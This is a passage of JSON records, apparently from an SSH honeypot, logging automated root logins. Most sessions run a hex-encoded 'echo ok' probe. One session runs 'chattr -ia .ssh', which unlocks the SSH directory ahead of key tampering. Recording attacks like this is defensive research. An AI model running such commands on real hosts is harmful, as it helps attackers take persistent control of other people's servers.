  "name": "flinty-golden-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53430,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:19.430073+00:00",
  "ended_at": "2026-08-23T08:17:21.154015+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e6e94220-7938-41f6-b0fd-723ad09a76a4",
  "name": "amiable-electric-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48078,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:17.604083+00:00",
  "ended_at": "2026-08-23T08:17:18.772011+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "548d1154-fe87-4a0f-9df3-7a126209ba83",
  "name": "hidden-ancient-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48064,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:15.741571+00:00",
  "ended_at": "2026-08-23T08:17:16.788997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "860d92bc-c8ef-46a0-8527-e40c592cd19e",
  "name": "freckled-painted-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48050,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:13.669489+00:00",
  "ended_at": "2026-08-23T08:17:15.083704+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "20a02d09-2e3a-4a16-8277-c252cde9c498",
  "name": "marine-brazen-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48040,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:11.491088+00:00",
  "ended_at": "2026-08-23T08:17:12.992586+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fd5e55e4-ada8-4bf0-8183-07beb3976395",
  "name": "cheerful-tender-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53990,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:08.521140+00:00",
  "ended_at": "2026-08-23T08:17:10.770696+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a06334f7-79c2-4893-ac59-9ad0a134ba97",
  "name": "dapper-alpine-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53984,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:06.361078+00:00",
  "ended_at": "2026-08-23T08:17:07.643000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fcdada4d-3300-4fc8-ad8f-60630c7bb34c",
  "name": "rambling-tawny-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53968,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:03.662118+00:00",
  "ended_at": "2026-08-23T08:17:05.601996+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f1a1a799-7fc4-44bf-b77e-f31ec5926f32",
  "name": "twilight-polar-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53962,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:01.231123+00:00",
  "ended_at": "2026-08-23T08:17:02.980760+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5e228565-3a44-4bb1-8c4d-8c493a198d9c",
  "name": "gloomy-opal-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54000,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:58.413074+00:00",
  "ended_at": "2026-08-23T08:17:00.578533+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b0d26ae0-45aa-4472-aa1e-03988b9c1700",
  "name": "golden-electric-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53994,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:55.766095+00:00",
  "ended_at": "2026-08-23T08:16:57.668093+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ba046362-f50e-4b6f-8c66-218a4ebc6adb",
  "name": "gritty-hardy-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53982,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:53.990868+00:00",
  "ended_at": "2026-08-23T08:16:54.907997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0a3f27eb-229b-4887-b698-952933da3b11",
  "name": "shaded-foggy-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53980,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:51.556096+00:00",
  "ended_at": "2026-08-23T08:16:53.193669+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "043aa5f6-f6c2-4f51-b867-ee8d9b369971",
  "name": "dapper-scarlet-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53966,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:49.744252+00:00",
  "ended_at": "2026-08-23T08:16:50.832455+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4425a9fe-1647-4dfd-adc4-f2cfd17bcf43",
  "name": "wandering-silent-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33888,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:47.441487+00:00",
  "ended_at": "2026-08-23T08:16:49.032808+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c48cca8d-c975-4b5c-9e84-ac7c084cdf19",
  "name": "plush-subtle-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33880,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:44.511078+00:00",
  "ended_at": "2026-08-23T08:16:46.632364+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f83fc10a-d631-4aa6-bccc-e0df368a4b5f",
  "name": "cosmic-wistful-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33868,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:42.141089+00:00",
  "ended_at": "2026-08-23T08:16:43.791645+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2751cc40-6beb-417f-a36f-cc3be24e299f",
  "name": "airy-burly-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33858,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:40.360081+00:00",
  "ended_at": "2026-08-23T08:16:41.399531+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4c297911-bf68-42b6-a8cb-fe643bd1faaf",
  "name": "sturdy-bronzed-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55166,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:38.282084+00:00",
  "ended_at": "2026-08-23T08:16:39.610284+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "654d0de9-10ef-468e-b637-dfe8cad79d04",
  "name": "crisp-ruddy-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55156,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:36.367988+00:00",
  "ended_at": "2026-08-23T08:16:37.644581+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cd13cef4-0644-4cbd-bcdb-eeb983eef7b5",
  "name": "drifting-idle-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55140,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:33.627966+00:00",
  "ended_at": "2026-08-23T08:16:35.626498+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0cabcead-fafa-4868-afeb-e006f771abf5",
  "name": "frosty-wistful-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:31.444938+00:00",
  "ended_at": "2026-08-23T08:16:32.926016+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a7c32926-cd4a-45e9-a0d2-e4dc87c92de0",
  "name": "knotted-sullen-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55124,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:28.751678+00:00",
  "ended_at": "2026-08-23T08:16:30.809000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9bbe4d92-473f-42ad-9ed0-47fcc480d620",
  "name": "bitter-hearty-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57076,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:26.303348+00:00",
  "ended_at": "2026-08-23T08:16:28.092013+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fba7c635-9711-4f25-8583-baea8626453b",
  "name": "autumn-pristine-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57068,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:24.388111+00:00",
  "ended_at": "2026-08-23T08:16:25.467459+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ff8d3fe3-157f-45c4-ac3b-89c8cffc8c39",
  "name": "restless-daring-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57054,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:21.466110+00:00",
  "ended_at": "2026-08-23T08:16:23.647001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6c99d936-c761-433c-960a-5809c8b24674",
  "name": "lofty-coastal-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58820,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:18.580223+00:00",
  "ended_at": "2026-08-23T08:16:20.786268+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6676948c-b4c1-40a2-80cd-46fae1e9e6e1",
  "name": "boreal-languid-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58810,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:15.836029+00:00",
  "ended_at": "2026-08-23T08:16:17.852409+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e7fb95a3-c21f-440f-a732-d4f03cbb3b5d",
  "name": "merry-silent-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58800,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:14.237290+00:00",
  "ended_at": "2026-08-23T08:16:15.141681+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e4eebc01-b34f-43c3-ae57-e3488abe6a26",
  "name": "loyal-upland-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58790,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:11.340923+00:00",
  "ended_at": "2026-08-23T08:16:13.473590+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0e456d35-85c6-4a7b-be1e-70632cd3027a",
  "name": "amiable-vivid-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58788,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:08.983871+00:00",
  "ended_at": "2026-08-23T08:16:10.695848+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c90d06e3-5a68-43a4-af93-a274c86d9b40",
  "name": "forlorn-peaty-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60324,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:06.170801+00:00",
  "ended_at": "2026-08-23T08:16:08.311711+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ae989fc6-de0f-48d7-9c3c-e750dd735cc5",
  "name": "sunlit-forlorn-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60320,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:03.705587+00:00",
  "ended_at": "2026-08-23T08:16:05.440523+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "43f0d9d7-0091-4fae-bbd6-fda3e47c7036",
  "name": "fickle-sturdy-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60300,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:16:01.198161+00:00",
  "ended_at": "2026-08-23T08:16:02.913365+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d0b11cd9-af28-44ea-9590-afbe581c5d38",
  "name": "shifting-fringed-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60286,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:59.534672+00:00",
  "ended_at": "2026-08-23T08:16:00.499723+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0fb3baaf-ee61-4219-89f4-125da8da5656",
  "name": "upland-smooth-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40968,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:56.707752+00:00",
  "ended_at": "2026-08-23T08:15:58.866009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f967e89e-1aa6-4389-80f1-fd3439ddd460",
  "name": "coastal-reedy-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40958,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:54.650762+00:00",
  "ended_at": "2026-08-23T08:15:55.879510+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f7c248e0-9773-4836-a8a4-0367c18b003d",
  "name": "flinty-diligent-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40952,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:52.814247+00:00",
  "ended_at": "2026-08-23T08:15:53.883678+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dbf62499-1c59-44e8-a58d-dd5e3ac6fbab",
  "name": "feathered-creaky-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40936,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:50.349250+00:00",
  "ended_at": "2026-08-23T08:15:52.051787+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9d779cca-be74-4c44-8955-93527348217e",
  "name": "painted-bronzed-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44794,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:47.544085+00:00",
  "ended_at": "2026-08-23T08:15:49.531688+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0ac3e271-8746-49c9-8770-eb606d5ce391",
  "name": "honest-drifting-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44788,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:45.739809+00:00",
  "ended_at": "2026-08-23T08:15:46.710627+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a8a8dac7-e250-4c2b-8d5a-3dd11cce1446",
  "name": "salty-whispering-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "192.169.201.223",
  "src_port": 33562,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 224,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T08:15:44.521354+00:00",
  "ended_at": "2026-08-23T08:15:44.584189+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4126
 },
 {
  "id": "e1524799-ddd7-4f3a-b4f2-c35f4bb8d9f2",
  "name": "sandy-amiable-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44776,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:43.227609+00:00",
  "ended_at": "2026-08-23T08:15:44.986745+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "10c82800-8bc7-4a5d-b541-72844d340710",
  "name": "mottled-idle-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44764,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:40.632909+00:00",
  "ended_at": "2026-08-23T08:15:42.592902+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8c539dd6-f3a8-4591-a375-ffed26478b34",
  "name": "murky-graceful-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38086,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:35.709079+00:00",
  "ended_at": "2026-08-23T08:15:39.958548+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0cc7c40f-145e-42b5-b590-5a40dc4ae4c9",
  "name": "mottled-burly-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38074,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:34.038756+00:00",
  "ended_at": "2026-08-23T08:15:34.936669+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "744b6899-20e8-4b7d-bdc4-09b3f07fa8e1",
  "name": "wooded-lively-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38064,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:31.203543+00:00",
  "ended_at": "2026-08-23T08:15:33.287589+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "afd73669-ee6b-44f3-bf20-f5271cdcc572",
  "name": "mindful-marine-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38062,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:29.497857+00:00",
  "ended_at": "2026-08-23T08:15:30.544519+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2ef905fd-13e8-4812-b707-1ce5d2d95ee7",
  "name": "solemn-lucid-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37618,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:27.063281+00:00",
  "ended_at": "2026-08-23T08:15:28.662585+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "671ecaeb-13f1-449b-a816-e4a2eca648fb",
  "name": "upland-austere-kakapo",
